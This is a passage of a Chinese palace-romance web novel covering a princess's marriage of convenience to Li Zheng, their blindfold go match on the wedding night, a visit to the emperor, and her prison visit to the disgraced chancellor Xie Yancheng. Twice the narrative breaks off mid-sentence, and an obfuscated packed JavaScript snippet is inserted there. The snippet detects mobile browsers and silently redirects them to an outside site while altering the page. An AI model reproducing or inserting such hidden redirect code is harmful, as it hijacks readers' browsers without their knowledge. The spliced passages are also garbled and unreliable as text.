如果有比氐兰分量更重的势力,皇帝权衡之下,便会选择与分量更重的那方势力联姻。 有什么联姻能比氏兰王还重要? 云归玉脑子里突然出现一张神采飞扬的脸,那抹扬起的红色发带,仿若从高挂天空的太阳里落下的一缕火焰。 重要的是,他的父亲,是忠武王历山苍。 与朝臣联姻,总归在京城,比去异族好多了。 云归玉告诉自己,要忍。 只要母亲生下未来储君,她就马上去毒死那老东西,到时候,大楚便在她们母女二人手掌心里。 至于这场联姻,终究只是眼下的权宜之计,到时候悔了便是。 *** 科举放榜后三日,状元游街,整个盛京热闹非凡,街道两旁人群挨挨挤挤,俱都伸长了脖子,想要一睹状元风采。 云归玉坐在酒楼二楼雅间,垂眸翻看桌上的一份卷轴。 卷轴铺开,上有三人画像,分别是历家六郎,历家七郎,以及孟家二郎。 画像之下是几行文字,记载着三人的生平和事迹。 这是皇后给她的联姻人选,要她自己在其中选一个。 孟家二郎名曰孟煊,字含章。 性风流,好诗酒美人,乃梁国侯、平南将军孟光之子。 历家则有两人,一个六郎,名曰历海宁,一个七郎,姓历名铮字崇渊。 六郎天生神力,武学奇才,又生在将门,本来是个将军材料,可惜因一场高烧伤了脑袋,让他的心智从此宛如稚子。 至于七郎…… “状元郎来啦!”外面忽地喧闹起来。 云归玉放下手中名单,朝楼下街道望去。 只见大道中央,一行人徐徐向街头行去,当先三人身着红衣,白马游街,应是状元、榜眼和探花三人。 凭借身形和气质,她一眼认出,那探花郎便是历家七郎,眉眼身形,皆与桌上画像重合。 画像上寥寥几笔,刻画出锋利轮廓,而他本人正在楼下,白马游街,意气风发。 云归玉眼神跟随着那匹马,眸光审视。 探花郎丰神俊逸,神清气朗,风头甚至盖过了状元和榜眼。 街边楼上朝他扔过去的鲜花桂枝数不胜数,整条街香气弥漫,那人坐于马上,姿态闲适,眼神波澜不惊,像是早就习惯此等场景。 云归玉撑着下巴,扫了一眼桌上画像下的某行字:性潇洒,好行侠仗义,平生最恶拘束。 她嗤笑一声。 再不喜拘束,不还是被困在这京城里做个表面风光实则囚徒的质子吗? 云归玉复又转头,看向楼下。 游行队伍行至某处,恰逢一贵女招亲,那绣球直奔探花郎胸口而去,他只一侧身,不慌不忙躲过了那五彩绣球。 她忽而一笑,有些幸灾乐祸地想:绣球可以轻松躲过,不知圣旨到时,他要如何躲过? 3. 大婚 皇宫,紫宸殿。 帝王寝居,宽敞光亮,殿中四根大柱矗立,其上雕刻金龙含珠,御案上的奏章整齐堆叠,砚台干净无墨。 绣有千里江山图的屏风之后,龙涎香与檀香交织混合,细烟袅袅,其味难言。 皇帝坐在榻边莲台上,分明着的道袍,却又非要在竹枝间绣上金龙,塌边摆放着拂尘,却又把软垫换成冰凉的莲台。 “玉儿想要择婿?” 他已年近五十,五官端正,面容轮廓依稀可见年轻时的英俊,但因沉迷求仙问道,服用各类丹药,眼下青黑浓重,身形消瘦,只是一双眼睛仍旧迸发精光。 云归玉面上恭敬行礼,心内暗自不屑。 道袍绣金龙,不伦不类;拂尘配莲台,佛道不分。 皇帝老头什么都想要,最后必定一无所有。 “陛下,大楚女子十三岁便可嫁人,玉儿在宫里跟着我这么多年,如今年方十八,已经是个老姑娘啦,倒是我把她耽搁了。”皇后柔弱无骨地靠在皇帝身上,涂着丹蔻的柔夷按在皇帝枯瘦泛黄的手上。 皇帝沉吟不语,眼神似笑非笑。 他有意要让云归玉去和亲,如今她却跑过来说要自己择婿。 若让她自己择婿,她可能选氐兰王吗? 皇后在皇帝身边察言观色多年,看出皇帝有些不悦,忙道:“玉儿已经看上一人,正是历家七郎,历铮。” 皇帝那双迷离的眼睛忽地闪过一缕精光。 历家,历山苍的儿子。 “哦?玉儿竟是看上了崇渊?” “儿臣遍观京城子弟,唯有历家七郎可入儿臣之眼。”云归玉微抬下巴,神情倨傲,看起来和每一个心高气傲的高门贵女一样。 “崇渊确是少年英才,玉儿好眼光。”皇帝笑眯眯地一摇拂尘。 给历七赐婚这事他早想过,只是以历家的门第和历山苍的地位威望,非得是公主不可,但皇家近年已没有合适的公主了。 说起来,他其实对云归玉确有几分宠爱,因着对皇后的爱屋及乌,也因着这孩子自己的冰雪聪明。 但哪怕是他的亲生女儿,必要时都得承担联姻的责任,何况一个义女呢? 所以当氐兰王来信上表求娶的时候,他毫不犹疑地下了决定。 那时他倒是没想到历家这一茬,毕竟历家子弟,向来是男子娶公主,女子嫁王爷的。 但是现今没有未婚配的公主,只有郡主,那也未尝不可。 何况历七身体有疾,配一个郡主也算合情合理。 大不了把婚礼的规格和排场再弄高一点。 皇帝心中已有定数,话锋却是一转:“可是,崇渊身子不好,冯钦曾多次为他诊脉,俱言他活不过三十,玉儿就不怕将来年纪轻轻守寡吗?” 云归玉心内无语凝噎。 她没有错过方才皇帝在听到皇后的话后那一瞬的表情:意外,却并不反对。 这老头儿大概已经决定答应,只不过还要假惺惺的关心她,抑或是试探她。 早在历铮的名字被说出来的那一刻,在场的人便都知道对方打的什么算盘了。 “儿臣宁缺毋滥,其他人于儿臣而言,皆是将就,但若是他,哪怕只是拥有一段时间,那也足够了。”云归玉用上自己曾经在话本里看到的话术,演得情真意切。 皇帝也只是需要个态度,见她如此,便欣然同意:“好,好,好!既然玉儿喜欢,那朕不日便为你二人赐婚!” *** 圣旨下得很快,不到三日,云归玉就接到了赐婚圣旨。 皇帝赐婚,礼部操持。 三书六礼,四聘五金,一切按流程,有条不紊地进行着。 某日云归玉外出回府,进门便险些被琳琅满目的大片红色晃瞎了眼。 一箱一箱的聘礼堆满了前院,有的箱子堆到了池塘边缘,差一点就要掉下去。 不愧是历家,就是财大气粗。 只是…… “那是个什么玩意儿?”云归玉瞧见最大的那个箱子上面摆放着一个巨大的金色托盘,红布铺在上面,里面放着几只鸟,被线穿成了一个环儿。 礼部官员正在旁边清点,闻言解释道:“是大雁。此乃六礼中的第一礼——纳彩,准新郎要打大雁送给准新娘,不过现如今已经很少有男子真正自己去打大雁了。” “而您的这六只大雁,可都是历七公子亲自打的,可见他对郡主您还是颇有情谊的。” 云归玉瞧了那六只大雁半晌,忽地笑了一声。 她可是听说,赐婚圣旨下的当天,历铮就去宫里找皇上想要拒婚,结果皇上自是没有应允。 看这反应,他必定是不满意这桩婚事的,那为什么还亲自去给她打大雁? 还是六只。 有意思。 但云归玉无意深究缘由,只要自己的目的达成就好。 婚礼筹备紧锣密鼓,云归玉的生活却和往日并无不同,礼部官员提醒的婚前新郎新娘不能见面的习俗,对于她和历铮这样的关系来说,却是杞人忧天了。 两人说是陌生人也不为过,又怎会有忍不住见面的可能? 时间一天天过去,很快到了婚礼那日。 郡主府头一次这么喜气洋洋,红绸铺地,房门挂“囍”,就连门口的石狮子都颈戴红花。 云归玉坐在闺房梳妆台前,静静地看着镜中人。 身披大红喜袍,金线凤凰振翅欲飞,珍珠、琉璃、玛瑙等各种宝石点缀其上,昭示着这件婚服价值不菲。 几个侍女正为她梳妆,青黛描眉,丹朱点唇,较她往日的妆更要艳丽几分,眼中却没有半分身为新娘子的应有的喜悦,只有冬日深湖般的冷与静。 窗外鼎沸的人声中忽然响起一阵喧天锣鼓,迎亲队伍到了。 云归玉拿起团扇走到门口,在遮上眼睛之前晃眼一瞟,看见那长长的队伍,当先一人坐在高头大马上,身着与她身上嫁衣相配对的一袭红衣,比他探花游街那日还要鲜艳。 云归玉看不清他的表情。 想来也是不太情愿的。 不过他的意愿于她而言,无足轻重。 到了忠武王府,云归玉被领着进了祠堂,行过天地、高堂、交拜的拜礼后,又被领去人声喧闹的大厅,去拜各方前来观礼的宾客。 云归玉手拿团扇遮住脸,头上盖着红盖头,阳光透进薄薄的盖头,她能看见模糊的攒动人影。 但即使不看她也知道,满堂宾客,殊无一个她的亲朋。 她没有朋友,唯一的亲人是皇后,她没能亲至,只差人送来一支价值连城的凤钗。 拜过宾客,二人在大厅之上,又行同牢、合卺、结发的礼仪后,从头至尾,云归玉隔着团扇,只能与对方模糊对视。 而后她被领着去婚房等候,而新郎历铮则留下继续招待宾客。 婚房离前厅有段距离,热闹隐去,倒显清净。 云归玉一个人在房内,懒散地靠在床头,将手中团扇随意往床上一甩,揉了揉发酸的胳膊。 天色渐晚,她有些心不在焉想着,下一步,便是洞房花烛了。 花烛已经点上了,但洞房是不可能的。 一会儿历铮来了,她要怎么办呢? 直接摊牌?或是用蛊毒毒晕他,再伪造已经洞房的假象? 哪一个都不保险。 若是走漏风声叫别人知道,只怕又要横生波折。 忽听门外脚步声传来,她只得再次拿起团扇,遮住面容。 按照大楚婚仪,新郎需要吟诗,然后将扇子拿走,方可得见新娘面容,这一步叫做“却扇”。 云归玉在心里腹诽婚仪的繁琐和规矩众多。 门口“嘎吱”一声,有人进来,复又关上了门。 她等了半晌,来人却没有任何动静,似乎就静静地站在原地。 既没有作诗,也没有过来摘扇子。 就在云归玉不耐烦,想要自己拿掉扇子的时候,一个清朗中带着一丝沙哑的男声响起。 “今日醉酒,脑子混沌,诗我是做不出来了,历某可否用其他才艺代替?” 云归玉本欲放下团扇的手一顿,静了两息,道:“公子欲要如何代替?” “素闻仪和郡主下得一手好棋,不若你我二人今日就来对弈一局,我下盲棋,郡主睁眼,若是我赢,郡主便摘下团扇,如何?” 云归玉本来无可无不可,转念一想,又觉历铮这架势似乎别有目的,她正好以逸待劳,见招拆招,于是道:“便依公子所言。” “多谢郡主。” 这婚房本是历府的主屋,历铮熟门熟路地去侧面小屋找到了棋盘与棋子,走到桌前摆好。 云归玉从他的影子瞧见他的动作,见他摆好棋盘后,便自己用布条蒙上了眼睛,索性拿下团扇,径自走到他对面,拂衣而坐,然后着眼于棋盘之上。 历铮抬手道:“郡主先请。” 云归玉也不跟他客气,拿了黑子便落子。 历铮跟着下了一子。 二人就这样你来我往,云归玉发现对方虽然蒙着眼睛,却能够听声辨位,从未将棋子错下到过她已落子的地方,并且很有章法。 十手之后,历铮落下一子,开口道:“我知道,郡主殿下不过是想拿和历家的联姻当挡箭牌,以躲过氐兰王的求娶。” 云归玉的手一顿。 他的消息,倒是灵通。 “若是,历七公子待如何?若不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897998|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,历七公子又待如何?” 他二人分明是新婚夫妇,却一个称“郡主殿下”,一个称“历七公子”,客气疏离。 “若是,正好,历某也本无意娶妻。既然落花无意,流水也无情,不如你我做个约定。” “咱俩就做表面夫妻,人前做做样子,人后互不干扰。一年之后,你我和离,两不相干。” 说话间,二人皆是手起棋落,一边交谈,一边思索下一步棋路,两不相误。 历铮蒙着眼睛,没有看见云归玉微微扬起的嘴角。 很好,她方才还思索着怎么把洞房应付过去,这人便有了瞌睡送枕头。 若是做表面夫妻,她的诸多顾虑便可消失。 “哦?那,若不是呢?” 云归玉并没有立刻答应,扬眉反问,尾音婉转。 正如二人此刻正在棋盘上厮杀一样,他们的对话实际上也是是一场谈判,先暴露自己内心所求的人便会失去先机,只能接受对方给出的筹码。 而最后亮出目的的人,才会占得最多的利益。 历铮有些意外。 他与这位仪和郡主曾经从未有过交集,因此他断定她对他绝无爱慕之情,这次突如其来的赐婚必定另有目的。 而当他听说氐兰王不久前曾向大楚求娶公主时,便猜到了其中关窍。 历家,只是她解燃眉之急的手段。 既如此,他的提议应该正中她下怀才是,可她不仅没有立即答应,甚至连一丝欣喜都未表露。 看来这位郡主,比他想得还要不简单。 也对,若是一般的皇家贵女碰到这种事情,第一反应大概都是去皇帝面前哭诉,妄图以撒娇可怜的姿态求得长辈的回心转意,而她却能直击皇帝的内心深处,那便是利益的权衡,只有向皇帝提出更重的利益筹码,方能逃生。 而此刻,他开门见山,诚意十足,她却仍将自己的心思掩藏,隐隐有要与他谈判的架势。 这位郡主聪明归聪明,可他一番好意,对方却欲拒还迎的拿乔,这未免有些令人不爽。 何况他还是无缘无故、天降横祸被利用的那个。 啧,心机深沉的女人,他不喜欢。 于是历铮笑了,丝带蒙住了他的双眼,嗓音却显出一股风流:“若不是,那郡主便是对历某芳心暗许已久了?” “如此更好,早听闻郡主乃倾国倾城之貌,春宵一刻值千金,娘子,咱们抓紧洞房吧?” 这一声“娘子”惊得云归玉手一抖,差点连棋子都没握住。 反应过来的时候,她冷笑一声:“你做梦的芳心暗许!” 屋内安静了一瞬。 云归玉:“……” 历铮嘴角的微笑真切了些。 这才像个十八岁的少女嘛。 云归玉看到他的那抹笑意,瞬间明白过来,这人分明是在耍着她玩呢! 而她竟然如此轻易地上当了! 云归玉深吸一口气,专注于棋盘之上,不和他惩口舌之快。 而历铮也见好就收,不再言语。 一时之间,房中只有棋子落下时此起彼伏的“啪嗒”声。 一个时辰之后。 云归玉落下最后一子,拿起团扇遮住面,平静道:“此局已经终了。” “是公子赢了。” 历铮摘下了眼上丝带,看到棋盘,轻笑一声。 “分明是和棋。郡主棋艺果然高超。” 他这一句看似是夸她,实则也夸了自己。 “郎君是盲棋,又是后手,这局该算郎君赢。” 云归玉缓缓拿下了扇面,露出漠然的眉眼。 历铮抬头,看见了对面的女人,眼中浮现出一抹惊艳。 她坐的位置,一半在月光下,一半在阴影中,她的眼睛比常人要浅,光照的那一侧似琥珀,清透不似凡人,暗中的那一侧冷沉如冰泉。 美女三千,有人娇若桃李,有人清冷如莲,而云归玉则是艳如梅枝,仿若冰天雪地中的一簇火焰,万里冰封,却偏有一丝灼人温度。 而云归玉也同时看清了对方的脸。 红色袍服衬得他肤如冷玉,桃花眼要笑不笑,盛着不轻不重的探究,身姿挺而不僵,自有一股世家公子的贵气。 不似那日当街救人的朗然,也不似白马游街时的洒脱,此刻他安静盯着她,周身萦绕的,乃是一种沉静的锋利。 二人对视良久,暗流涌动。 就在云归玉打算开口之际,伴随着“啪啪啪啪”的重重拍门声,洪亮的男声忽然在门外响起。 “闹洞房喽!” “小七小七!开门开门!” 云归玉:“……?” 还有这一出呢? 4. 回门 门板被人拍得震天响,云归玉看向历铮:“这是?” 历铮眉宇间染上一抹无奈:“是我六哥,历海宁。” “我先去给他开门。阿宁天生神力,若由着他敲,这门板得被他拍断,到时候咱俩要么换屋子,要么就只能吹一晚上冷风了。” 他站起身,一把将门拉开,然后侧过身子,抱胸立在一边。 拍门的人一手拍空,差点直接栽进门来。 云归玉看到那人情急之下抓住门板以稳住身形,那门板顷刻间便被捏出了几条裂缝。 想来这便是历家六郎,历海宁了。 他个子矮小,身形偏瘦,分明比历铮年长三岁,却长着一张娃娃脸,声音却又比历铮低沉成熟,极具反差。 历海宁稳住身形后抬起头来,坐在桌前的云归玉便映入他的眼帘,他呆了几息,忽然高兴地拍起手来:“弟妹是仙女!弟妹是仙女!” 历铮拍了拍他的肩:“不是仙女,是贵女,她是圣上和皇后的义女,敕封的仪和郡主,阿宁要记得尊称她为‘殿下’。” 历海宁点了点头:“弟妹殿下,全天下第一好看!” 历铮摇摇头,大步走到床边,从床上抓了一把枣,一股脑塞到历海宁手上,怜爱道:“来阿宁,多吃点枣,少说点话。” 云归玉瞳孔微震,倒不是因为历海宁的直白夸赞,而是—— 他的身后怎么站着这么多人?! 打眼望去,有一袭紫衣、金冠玉带的世家公子,一身白衣的江湖客,穿金戴银、每个指头都带着翡翠玛瑙戒指的富商,身披甲胄的皇城护卫…… 这些也就算了,为什么还有身穿袈裟、头点戒疤的和尚,虽然很淡但依旧能从身上闻到肉腥味的屠户以及撑着根打狗棒还拿个破碗的乞丐? 简直是人山人海。 而这些人此刻都围在门口,手里各拿唢呐、笛箫、铜锣等乐器,摆明了要大闹一场。 紫衣公子一手摇着折扇,一手拿着酒盏,笑道:“崇渊,酒还没喝完,你怎么抛下兄弟们就走了,既如此,可就别怪兄弟们追来了!” “历公子,还有新娘子,想听什么曲子?” “哈哈哈哈哈哈,既是洞房,合该是首趋吉避凶的曲子,不如就来一曲《除祟》吧!” “阿弥陀佛,贫僧以为,《心经》更好。” “去你的,哪有新婚唱这个的!” 于是便各自吹吹打打起来,一时之间,这婚房简直门庭若市,喧闹不止。 云归玉僵坐原地,被迫听了一整首《除祟》不是《除祟》,《心经》不是《心经》的曲子。 魔音贯耳,但却难掩其中奔流的喜悦。 可他们若是知道,这场婚姻并不是历铮所期待的,还会如此高兴地庆贺吗? 待到历铮终于把那些人打发走,关上门,屋内重回寂静。 “不好意思,郡主,我的这些朋友太放肆了些。” 云归玉淡声道:“无妨。愿赌服输,我输了棋,愿依公子所言。表面夫妻,互不相扰,一年后和离,两不相干。” 历铮坐了下来,翘起一条腿,吊儿郎当道:“不对吧。” “我们的约定是,我赢了,让郡主摘扇,而并非我赢了,郡主便同意我方才关于的提议。” “既然扇子已经摘了,洞房也闹了,那现在,我们好像该入洞房了。” 云归玉:“……” 累了,要不还是将他毒晕吧。 片刻后,历铮收起了那装腔作势的笑意,眼神深处的漠然与云归玉如出一辙。 他道:“当然了,郡主能同意我的提议,也是再好不过,那便祝我们合作愉快。” 云归玉满意颔首。 话说到这份儿上,洞房自是不必了,但若是分房睡,便会被人看出来夫妻不睦。 最后是云归玉睡床,历铮睡在侧间的榻上。 她并不习惯与人同睡一个房间,自一年前封郡主以来,她都是一个人睡;在宫里的时候,她睡云妃寝宫的外间,像这样与一个男人共处一室还是头一回。 一夜无眠,直至清晨,她听见历铮起身出门的声音,才终于支撑不住地睡了过去。 …… 一晃三天过去,已到了回门的日子。 这三天,历铮确实做到了他说的互不相扰,除了每天早晨出门和晚上回房能听到的“嘎吱”声外,基本上见不到他人。 但他到底是没有忘记他们的约定也包括“在外人面前做做样子”,今日回门,他准时出现在了府门前。 云归玉是帝后义女,回门自然是回皇宫。 二人上了马车,一路无话。 直到下了马车,云归玉挽上了历铮的胳膊,而他也心照不宣,装出一副与她亲密的样子,一路到了云鸾殿。 皇帝和皇后坐在上首,历铮和云归玉分别向二人敬茶。 “崇渊啊,可还满意朕给你选的这个媳妇?”皇帝饮过茶,一脸慈爱地问。 历铮单膝跪地,抬起头直视皇帝,不卑不亢道:“郡主国色天香,知书达理,陛下眼光不错。” 他如此不恭不敬,皇帝不怒反笑,伸出食指指着历铮轻晃:“你小子,从小便是个胆大包天、为所欲为的主,也就仗着朕喜爱你。” 他又转向云归玉:“那你呢,玉儿,这可是你自己求来的姻缘,可还满意?” 云归玉低头,脸上飞出淡淡的红意:“谢父皇成全。” “起来吧。” “来,崇渊,你好久没进宫看朕了,今天既来了,便先别急着走了,留下陪朕下棋。” 皇后一直保持着笑容,吩咐:“来人,去把陛下上次留在云銮殿的碧玉棋子拿出来摆好。” 于是坐着的人变成了皇帝和历铮,皇后拉着云归玉出去说了会儿话,便回来各自立在一旁观战。 云归玉忽然想起那日她与历铮下棋的情景。 历铮其人看起来潇洒不羁、少年意气,棋风却异常稳健,如同悠闲垂钓的老翁。 而她的棋风,则狠辣激进,很多时候会以杀掉一大片子的代价,去换取一次有效进攻。 自损八百无所谓,只要能伤敌一千。 以往的敌人在她的攻势下,有的一开始就溃不成军,有的坚持一阵便节节败退,可历铮却始终四平八稳,不动如山。 就算时常输子,却始终伤不到根本。 她曾也看过兵书,明白下棋有时就和打仗一样。 历铮的下棋风格便和那句兵法一样:“先为不可胜,以待敌之可胜。” 不着急进攻,自己先缓慢地建立优势,等到敌人在对峙中露出破绽,再以雷霆之势击溃对方。 那晚便是如此,棋下到最后,历铮终于露出了他的锋芒,最终她在有先手优势并且对手下盲棋的情况下,只堪堪平子。 云归玉垂下眼,思绪重新回到历铮与皇帝的棋盘上来。 很不想承认的是,皇帝的棋风竟和她很像。大抵身为九五之尊,皇帝是霸道惯了的。 可皇帝毕竟老了,不及她反应迅速,不知不觉间,棋局局势已悄然逆转。 身为旁观者,云归玉清晰地看到了皇帝的破绽,历铮身为布局之人,自然也不可能没看到,可他竟然毫不犹豫地下到了别的地方。 云归玉:“……” 他在让棋,且让得隐蔽,没让皇帝发现。 这小子,他是真的胆大包天、不敬皇帝吗? 不,他分明极有分寸,知道什么事皇帝不会在意,而什么事真的会惹皇帝不高兴。 亲近如皇后、贴身太监袁微便知,皇帝最在意三件事,一是修道,二是皇权,三便是下棋。 一局终了,皇帝果然胜了一子。 他意犹未尽,还想再来,被历铮以“昨日婚仪繁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897999|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重,身体太过疲乏,陛下再赢下去也是胜之不武”为由推脱了。 一出宫门,二人皆是松了一口气。 待得进入马车,历铮感慨道:“应付皇帝真麻烦,你应该只回这一次门吧?” 这话就这么水灵灵地说出来了? 云归玉诧异地看着他:“历公子还是多把我当外人的好。” 历铮无所谓道:“郡主现在可还需要借着与我的联姻避难呢,必不会出卖我的。” 到了历府,晚膳已经备好。 云归玉第一次和历铮一起用了晚膳。 他们坐在一起,气氛安静,空气中只有碗筷碰撞的声音。 历铮并不喜欢这种氛围,却又实在做不到和一个利用自己和历家,又心机深沉的冷脸女人搭话,只好快速吃完,离开饭厅。 于是云归玉也乐得清静。 *** 夜里,云归玉躺在床上,仍旧难以入眠。 回门这关过去,可她的心情却不算太好。 想到今日在宫里,皇后拉着她单独说的话,心中更是烦躁。 皇后竟要她通过历铮去拉拢历家,试探历家对于未来储君的人选是何态度,最好能在储君一事上获得历家的支持。 “玉儿,虽然谢贵妃倒台,谢家失势,可皇帝仍有可能从宗室子弟里挑选储君,若是能取得历家的支持,你弟弟的地位才能更稳固。” “既然已经利用了历家,何不利用得更彻底一点。近水楼台,玉儿,你比任何人都有优势。” 云归玉叹了口气。 道理她明白,可她才刚和历铮做了互不相扰的约定,皇后现在却又要她跟历铮走得近点,好拉拢历家。 母亲啊,怎么总是给她出难题。 她翻了个身,看着侧间门上的挂帘,历铮就睡在这一帘之隔的地方。 脑中忽然浮现起一桩旧事来。 那时她才入宫一年,心智远没有现在成熟,作为云妃身边的宫女,她没少见别人坑害云妃。 那时她的想法还很直接,她有蛊虫在手,想报复直接用蛊虫伤人便好。 于是一次宴会上,她站在云妃身边,实则悄悄运功控蛊。 她想要毒死谢贵妃。 那个仗势欺人,总是陷害云妃的女人。 正要得手,却忽有一少年取了她头上簪子,精准地刺中了那只蛊虫。 她忐忑了很久,也生气了很久。 那只簪子,是云妃送给她的生辰礼物。 她不知道那时的少年,究竟是否知道是她用蛊? 若是知道,为何不揭穿她。 若是不知,那为何偏偏拔她的簪子? 明明当时有离他更近的宫女。 那时少年的脸尚有几分稚嫩,却也难掩惊人风姿。 但如今一想,那人不正是历铮吗? 好哇,原来她与她这夫君还有这层旧怨呢。 云归玉忽然觉得有点不痛快。 这点不痛快属实没由来,云归玉冷静思索半晌,终于明白。 人不患寡患不均。 历铮这人喜好行侠仗义,对别人皆是路见不平拔刀相助,凭什么到她这里,要么避之不及,要么坏她好事? 于是那点不痛快在天色微亮,看到历铮起床后走到侧门边,神清气朗地伸了个懒腰的时候到达了顶峰。 她在历铮穿戴好朝服,边走边准备自己束发的时候,坐了起来。 “吵醒你了?抱歉。” 大抵因清晨刚醒,男人的声音有些沙哑。 云归玉盯着他,不说话。 历铮莫名其妙。 莫非,这郡主是有起床气? 正欲出门去,好叫她继续睡,便听她声音轻柔道: “夫君,我来给你束发吧。” 历铮束发的手缓缓僵住。 “……?” 5. 午膳 云归玉没有错过历铮那一瞬间变幻莫测的表情。 震惊、错愕、疑惑,最后归于平静中带着一丝莫名其妙。 历铮正在束发的手放下了,长长的青丝渐次垂下,散落在他的肩背和两鬓,深绯色的朝服衬得他肤如脂玉,贵不可言。 很难想象这人会在大街上一边吐血一边撸起袖子把几个人揍得娘都不认识。 他抱臂盯着云归玉,缓缓挑起了半边眉毛。 云归玉秉承着欣赏美男的态度与他坦然对视。 半晌,历铮忽地一笑:“行啊,娘子。” 那声“娘子”拖长了尾音,饶是他声音清朗好听,云归玉也险些起了一身鸡皮疙瘩。 她起了身,拿过梳子和铜镜,让历铮在窗边坐下。 云归玉侧身站立,手指捧起历铮乌黑的发,触手比她想象得要更柔软,阳光穿透窗棂照在其上,紫檀木梳穿过,像一匹墨玉缎带被齐整切割,却又很快恢复。 她赞叹:“夫君,头发不错。” 感受着温热手指在自己耳边、脖颈附近穿梭,历铮不太自在地展了展腿,面上倒是一派悠闲,扬眉:“过奖,娘子才是青丝如瀑。” 语毕,两人都不再说话,只有窗外风声,偶尔送来几缕桃花香气。 一炷香的时间过去,云归玉束好了发,将倒扣在桌面的铜镜拿起,递给了历铮。 “怎么样?”云归玉问道。 历铮看着镜子里自己新鲜出炉的发式,先是一怔,随后便在心内缓缓叹了口气。 他就知道。 昨日他们说好逢场作戏而已,今日云归玉却突然要给他束发,显然是事有蹊跷,别有用心。 他只是一时好奇她会怎么做,便答应了。 只是没想到…… 云归玉明知故问道:“怎么,夫君不满意吗?” 历铮摇了摇头:“娘子技艺高超。” “那夫君为何一副愁眉苦脸的样子?夫君不喜欢吗?” 历铮被她一口一个夫君喊得头皮疼,要是以往别人这样不好好说话,他早一个肘击过去了,可偏偏面前这是个女人。 他可没有打女人的习惯。 他有些麻木道:“喜欢,但我怕皇上和百官同僚不喜欢。” 偏了偏头,再次看了一眼铜镜。 发丝半披半束,右鬓边还编了条细细的小辫儿,颇具西域风格。 其实倒也不难看,就是不太适合上朝,也不太适合出现在刑部。 他敢说,他上一刻顶着这头发去扶光殿,下一刻就得被言官参一句“衣冠不正、不遵礼法、弃汉投胡”。 最后历铮还是让贴身小厮阿福给他重新束了个正常的冠发,一看时辰,已快迟了。 他算是知道云归玉弄这一出是什么目的了。 历铮重新束好发后,意味不明地瞥了云归玉一眼,才跨出门去。 府门外马早已等候多时。 这个时辰,乘马车大概是赶不上朝会开始了,于是他道:“把雪稚牵来。” 阿福应声,不一会儿便从马厩牵了匹毛色雪白、背披红鞍的高头大马过来。 历铮利落翻身上马,勒马而出。 他一路疾驰到了皇城门口,把马交给宫人,然后自己运起轻功疾奔,才算是在最后一刻赶到扶光殿,刚到殿门口,就忍不住吐了一口血。 旁边的大理寺少卿见状吓了一跳,两撇胡须都惊得抖了抖:“历侍郎,身体不舒服可以告假的,别硬撑,咱圣上体恤臣下,相信一定会恩准的。” 历铮:“……” 他抬手抹了抹唇角的血,笑道:“不妨事。” 历铮前脚一走,云归玉便也穿戴齐整,用过早膳,吩咐:“碧溪,叫人备车,我要出门一趟。” *** 刑部。 关押囚犯的大牢建在地底,阴暗潮湿。 囚犯的汗液、老鼠死尸的腐臭以及蒲草发霉的味道混杂在空气中,闻着令人几欲作呕。 狭窄通道的两旁都是逼仄牢房,尽头处那几间则明显宽敞许多,左侧最里那间,有一白首苍颜的老人,双目闭合,盘膝坐于床上。 忽有锁链声响起,老人睁开眼睛,是狱卒开了牢门,复又锁上。 昏暗的地牢里,突兀地出现一抹亮色,是一袭艳丽的红紫色裙摆。 云归玉负手而立,与坐在床上的老囚对视。 她垂眸,目光自上而下地一扫。 老囚一身单薄而脏污的囚服,白发凌乱,双颊凹陷,眼下青黑浓重。 与之前那个紫袍金带,精神矍铄的大楚宰相截然不同。 此人正是前大楚宰相,谢言成。 安帝即位以来,五年间换了七八个宰相,直至谢言成任了宰相,深得皇帝宠信,在这个位子上一坐便是十五年之久。 直到一年前,因查出其贪墨国用、结党营私,才被抓下狱。 这位谢相之所以能在喜怒无常的安帝手下干这么久的宰相,自有其过人之处。 其人精明能干,极擅揣摩圣意,每次皇帝安排他办的事,没有不满意的。 百官大多对他又敬又惧,不管心里如何想,背后如何说,但到了他面前,从来都是鹰也只敢卧着,是虎也只能趴着。 倒也偶有几个不怕的,试图扳倒他,都被他反杀了,这倒不全是因为皇帝宠信,还因谢言成为人极度谨慎,把柄这东西,从不给任何外人知道。 但百密一疏,他千防万防,防不住后宫争宠一事。 谢贵妃一手巫蛊之祸,皇帝震怒,连带着他这个宰相父亲也被严查。 谢言成身为相时有多风光,底下的不满就有多重,只不过他得势时能够轻易摁住,一朝失势,某些罪证便如雨后春笋般冒了出来。 谢言成仍旧盘膝于床上,他看着锦衣罗绮,孤身而来的云归玉,浑浊的眼底闪过一丝精光。 “阁下不请自来,却不肯主动报上姓名吗?” 他为相十五载,积威甚重,哪怕身陷囹圄,依旧有种不怒自威的气度。 然而云归玉却不怕他。 她嘲讽地勾了勾唇:“谢相,当真不记得我了吗?” 谢言成眯了眯眼,忽然像是想起什么似的:“你是云妃身边的小宫女。” 云归玉“噗嗤”一笑。 “云妃?” 她做了个不可思议的表情,道:“谢相,你不会还以为你女儿是贵妃吧?再者说,实话告诉你,我家娘娘已是中宫皇后了。” 谢言成沉默不语。 云归玉挑眉。 不愧是谢相,都到这份儿上了还沉得住气,竟然能忍住不问自己女儿的情况。 谢言成表情沉静,上上下下打量云归玉,忽然笑道: “看贵人如今境况,想来也是得了皇上宠幸,飞枝作凤了吧?” 